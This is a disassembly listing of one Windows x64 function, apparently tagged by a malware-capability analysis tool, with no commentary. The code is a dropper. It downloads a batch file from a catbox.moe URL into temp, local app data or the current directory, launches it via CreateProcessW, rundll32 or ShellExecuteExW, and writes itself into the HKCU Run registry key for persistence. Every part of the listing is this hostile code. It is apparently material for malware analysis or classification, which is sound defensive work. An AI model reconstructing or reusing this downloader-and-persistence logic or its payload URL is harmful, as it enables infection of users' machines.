Function at 0x140023660
Capabilities:
Check if file exists
Create directory
Create process on windows
Download url
Get file attributes
Persist via run registry key
Query environment variable
Receive data
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x538
call fcn.140001644
test eax, eax
jne 0x140001828
mov ecx, 0x208
call fcn.140022a10
mov r12, rax
call fcn.1400022e0
test eax, eax
je 0x1400021e5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x104
mov r8, r12
xor edx, edx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, r12
xor r8d, r8d
xor edx, edx
call fcn.1400025fb
mov rcx, r12
call fcn.1400229e0
jmp 0x1400021e5
lea rax, [rsp + 0x1a8]
lea rdx, str.https:__files.catbox.moe_n4q5tz.bat
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.1400015b6
jmp 0x140001853
lea rcx, [rsp + 0x1c8]
lea rdx, str.Executable
call fcn.1400015b6
jmp 0x140001876
lea rcx, [rsp + 0x1e8]
lea rdx, str._temp__sMkyId5q.bat
call fcn.1400015b6
lea rcx, [rsp + 0x208]
lea rdx, str.oMt4sH6FE
call fcn.1400015b6
jmp 0x1400018aa
lea rbp, [rsp + 0x228]
lea rdx, str.https:__files.catbox.moe_n4q5tz.bat
mov rcx, rbp
call fcn.1400015b6
jmp 0x1400018d0
lea rcx, [rsp + 0x248]
lea rdx, str.Executable
call fcn.1400015b6
jmp 0x1400018f3
lea rcx, [rsp + 0x268]
lea rdx, str._localappdata_V3Cf3OgN.bat
call fcn.1400015b6
lea rcx, [rsp + 0x288]
lea rdx, str.R2LLNhh2h
call fcn.1400015b6
jmp 0x140001927
lea rbp, [rsp + 0x2a8]
lea rdx, str.https:__files.catbox.moe_n4q5tz.bat
mov rcx, rbp
call fcn.1400015b6
jmp 0x14000194d
lea rcx, [rsp + 0x2c8]
lea rdx, str.Executable
call fcn.1400015b6
jmp 0x140001970
lea rcx, [rsp + 0x2e8]
lea rdx, str.CurrentDirectory7tn1m6Tv.bat
call fcn.1400015b6
lea rcx, [rsp + 0x308]
lea rdx, str.3swx6AUKo
call fcn.1400015b6
jmp 0x1400019a4
lea rax, [rsp + 0xd8]
lea rdx, str.CurrentDirectory
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.1400015b6
jmp 0x1400019cf
lea rax, [rsp + 0xf8]
lea rdx, str._localappdata_
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.1400015b6
lea rax, [rsp + 0x118]
lea rdx, str._temp_
mov rcx, rax
mov qword [rsp + 0x70], rax
call fcn.1400015b6
mov rbp, qword [rsp + 0x58]
lea r12, [rsp + 0x138]
mov qword [rsp + 0x80], 0
lea r14, [rsp + 0xb8]
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
jmp 0x140001a4c
lea r13, [rsp + 0x98]
mov rdx, rbp
lea r15, [rsp + 0x80]
mov rcx, r13
call fcn.140021500
lea rdi, [0x140025238]
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call fcn.140016a10
xor r8d, r8d
mov rdx, r13
mov rcx, r12
movsxd rsi, eax
mov rbx, rax
mov r9, rsi
call fcn.140017210
mov rdx, r12
mov rcx, r15
call fcn.14001c030
lea r8d, [rbx + 1]
or r9, 0xffffffffffffffff
mov rdx, r13
mov rcx, r14
movsxd r8, r8d
call fcn.140017210
mov rdx, r14
mov rcx, r13
call fcn.140001530
mov rcx, r14
call fcn.14001f180
mov rcx, r12
call fcn.14001f180
inc rsi
jne 0x140001a6e
mov rdx, qword [rsp + 0x80]
lea rsi, [rsp + 0x328]
mov rcx, qword [rdx]
cmp word [rcx], 0x25
jne 0x140001b01
mov r8d, 0x104
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x140001b95
mov rcx, r12
call fcn.140021500
lea rdx, str.CurrentDirectory
mov rcx, r12
call fcn.140017280
test eax, eax
jne 0x140001b72
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov r9d, 0x104
mov r8, rsi
xor edx, edx
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cdqe
mov edx, eax
test eax, eax
jle 0x140001b8d
dec rax
cmp word [rsi + rax*2 + 2], 0x5c
jne 0x140001b52
movsxd rax, edx
mov word [rsp + rax*2 + 0x328], 0
jmp 0x140001b8d
mov rax, qword [rsp + 0x80]
lea rdx, [0x14002523c]
mov rcx, rsi
mov r8, qword [rax]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r12
call fcn.14001f180
mov rdi, qword [sym.imp.KERNEL32.dll_lstrcatW]
mov ebx, 1
mov rax, qword [rsp + 0x88]
sub rax, qword [rsp + 0x80]
sar rax, 5
cmp rbx, rax
jae 0x140001bfa
lea rdx, [0x140025238]
mov rcx, rsi
call rdi
mov rax, rbx
mov rcx, rsi
shl rax, 5
add rax, qword [rsp + 0x80]
mov rdx, qword [rax]
call rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
jne 0x140001bf5
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
inc rbx
jmp 0x140001ba1
mov rcx, rsi
call fcn.1400016ed
mov rcx, r15
add rbp, 0x20
call fcn.14001bff0
mov rcx, r13
call fcn.14001f180
cmp rbp, r12
jne 0x140001a4c
mov rbp, qword [rsp + 0x50]
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.140021500
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rdx, [0x140025238]
mov rcx, r13
call fcn.140016a10
mov rcx, qword [rsp + 0x60]
xor r8d, r8d
mov rdx, r13
movsxd r14, eax
mov rbx, rax
mov r9, r14
call fcn.140017210
mov rdx, qword [rsp + 0x60]
mov rcx, r15
call fcn.14001c030
lea r8d, [rbx + 1]
or r9, 0xffffffffffffffff
mov rdx, r13
mov rcx, r12
movsxd r8, r8d
call fcn.140017210
mov rdx, r12
mov rcx, r13
call fcn.140001530
mov rcx, r12
call fcn.14001f180
mov rcx, qword [rsp + 0x60]
call fcn.14001f180
inc r14
jne 0x140001c3d
mov rdx, qword [rsp + 0x80]
lea rbx, [rsp + 0x328]
mov rcx, qword [rdx]
cmp word [rcx], 0x25
jne 0x140001cda
mov r8d, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x140001d6e
mov rcx, r12
call fcn.140021500
lea rdx, str.CurrentDirectory
mov rcx, r12
call fcn.140017280
test eax, eax
jne 0x140001d4b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov r9d, 0x104
mov r8, rbx
xor edx, edx
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cdqe
mov edx, eax
test eax, eax
jle 0x140001d66
dec rax
cmp word [rbx + rax*2 + 2], 0x5c
jne 0x140001d2b
movsxd rax, edx
mov word [rsp + rax*2 + 0x328], 0
jmp 0x140001d66
mov rax, qword [rsp + 0x80]
lea rdx, [0x14002523c]
mov rcx, rbx
mov r8, qword [rax]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r12
call fcn.14001f180
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14d, 1
mov rax, qword [rsp + 0x88]
sub rax, qword [rsp + 0x80]
sar rax, 5
cmp rax, r14
jbe 0x140001df4
lea rdx, [0x140025238]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, r14
mov rcx, rbx
shl rax, 5
add rax, qword [rsp + 0x80]
mov rdx, qword [rax]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call rdi
inc eax
jne 0x140001def
mov rax, qword [rsp + 0x88]
sub rax, qword [rsp + 0x80]
sar rax, 5
dec rax
cmp rax, r14
jbe 0x140001def
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
inc r14
jmp 0x140001d7b
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x140001fbf
mov qword [rsp + 0x20], 0
mov rdx, qword [rbp]
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
lea r14, [rbp + 0x20]
lea rdx, str.Executable
mov rcx, r14
call fcn.140017280
test eax, eax
jne 0x140001eaa
mov ecx, 0x68
call fcn.140022a20
mov rbx, rax
mov ecx, 0x1a
xor eax, eax
mov rdi, rbx
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.140022a20
mov rdx, rax
mov ecx, 6
xor eax, eax
xor r9d, r9d
mov rdi, rdx
lea r10, [rsp + 0x328]
xor r8d, r8d
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], rdx
mov rdx, r10
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
jmp 0x140001f53
lea rdx, [0x140025242]
mov rcx, r14
call fcn.140017280
test eax, eax
jne 0x140001f5b
mov ecx, 0x68
call fcn.140022a20
mov r14, rax
mov ecx, 0x1a
xor eax, eax
mov rdi, r14
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.140022a20
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x78]
mov ecx, 6
xor eax, eax
rep stosd dword [rdi], eax
mov ecx, 0x208
call fcn.140022a10
mov rdi, rax
mov r8, rbx
lea rdx, str.rundll32__s
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], r14
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x38], 0
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x140001fbf
mov qword [rsp + 0x138], 0x70
mov rcx, r12
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x160], 0
mov dword [rsp + 0x168], 3
mov qword [rsp + 0x170], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rax, qword [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rbx, [rsp + 0x328]
mov rdx, qword [rbp + 0x60]
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x104
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r15
sub rbp, 0xffffffffffffff80
call fcn.14001bff0
mov rcx, r13
call fcn.14001f180
cmp rbp, rsi
jne 0x140001c24
mov rcx, r15
lea rsi, [rsp + 0x1a8]
call fcn.14001c070
mov rcx, qword [rsp + 0x70]
call fcn.14001f180
mov rcx, qword [rsp + 0x68]
call fcn.14001f180
mov rcx, qword [rsp + 0x58]
call fcn.14001f180
sub rbx, 0x20
mov rcx, rbx
call fcn.14001f180
cmp rbx, rsi
jne 0x14000206f
jmp 0x1400021e5
xor eax, eax
add rsp, 0x538
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
sub rsp, 0x28
call fcn.14000bd40
mov rax, qword [0x140028540]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x140028530]
mov r8, qword [rax]
mov rax, qword [0x140028520]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x1400017af